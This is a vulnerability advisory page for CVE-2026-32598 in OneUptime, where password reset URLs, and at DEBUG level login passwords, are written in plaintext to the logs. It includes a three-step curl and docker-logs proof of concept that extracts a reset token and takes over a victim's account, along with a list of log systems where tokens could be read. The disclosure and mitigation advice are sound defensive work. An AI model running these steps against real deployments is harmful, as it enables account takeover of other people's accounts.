CVE-2026-32598 — oneuptime
CVE-2026-32598 is a CWE-532 vulnerability in oneuptime. A fix is available for oneuptime — see the affected versions and patch details below.
OneUptime: Password Reset Token Logged at INFO Level
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32598.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
oneuptimenpmDescription
Summary
The password reset flow logs the complete password reset URL — containing the plaintext reset token — at INFO log level, which is enabled by default in production. Anyone with access to application logs (log aggregation, Docker logs, Kubernetes pod logs) can intercept reset tokens and perform account takeover on any user.
Details
Vulnerable code — App/FeatureSet/Identity/API/Authentication.ts lines 370-371:
logger.info("User forgot password: " + user.email?.toString());
logger.info("Reset Password URL: " + tokenVerifyUrl);
The tokenVerifyUrl is a complete URL like https://app.oneuptime.com/accounts/reset-password/<plaintext-token>. This is logged at INFO level, which is enabled by default in production and persisted to stdout, log files, and any configured log aggregation systems.
Additionally — login credentials logged at DEBUG level (line 909):
logger.debug("Login request data: " + JSON.stringify(req.body, null, 2));
The entire login request body (including cleartext password) is logged at DEBUG level. While DEBUG is typically disabled in production, it is commonly enabled during incident troubleshooting.
No existing CVEs cover sensitive data exposure in logging for OneUptime. CVE-2026-30956 (GHSA-r5v6-2599-9g3m) leaked resetPasswordToken from the database via multi-tenant header bypass — this finding is different (token leaked via application logs).
PoC
Environment: OneUptime v10.0.23 via docker compose up (default configuration)
# Step 1 — Trigger forgot-password for target user
curl -s -X POST http://TARGET:8080/api/identity/forgot-password \
-H 'Content-Type: application/json' \
-d '{"data": {"email": "[email protected]"}}'
# Response: {}
# Step 2 — Read application logs to extract the reset token
docker compose logs app --tail 5
# Output:
# app-1 | User forgot password: [email protected]
# app-1 | Reset Password URL: http://localhost/accounts/reset-password/20771cc6-860a-4b9b-bb9c-09eff67de4ef
# Step 3 — Use the extracted token to reset the victim's password
curl -s -X POST http://TARGET:8080/api/identity/reset-password \
-H 'Content-Type: application/json' \
-d '{"data": {"token": "20771cc6-860a-4b9b-bb9c-09eff67de4ef", "password": "NewPassword123!"}}'
Tested and confirmed on 2026-03-12 against oneuptime/app:release (APP_VERSION=10.0.23). Full password reset token 20771cc6-860a-4b9b-bb9c-09eff67de4ef visible in INFO-level logs.
Attack surface for log access: ELK/Elasticsearch dashboards (often misconfigured with default credentials), CloudWatch/Datadog/Splunk/Grafana Loki, docker logs / kubectl logs, shared log volumes, CDN/proxy access logs.
Impact
Any user's account can be taken over by anyone with read access to application logs:
- Account takeover: Every password reset token is logged in plaintext, creating a persistent trail of sensitive tokens
- Exposure scale: This logs EVERY password reset request — not a one-off, but systematic
- Cascading impact: Combined with differential error responses in forgot-password (user enumeration), an attacker can systematically target any user
- Organizations that aggregate OneUptime logs into shared logging infrastructure expose all password reset tokens to anyone with log reader access
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | oneuptime | all versions | 10.0.23npm install oneuptime@10.0.23 |
Affected Products
oneuptimehackerbayDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for oneuptime, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update oneuptime to 10.0.23 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-32598 is resolved across your whole dependency graph.
Workarounds
Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.
Frequently Asked Questions
Is CVE-2026-32598 in your dependencies?
Find it across npm, including transitive dependencies.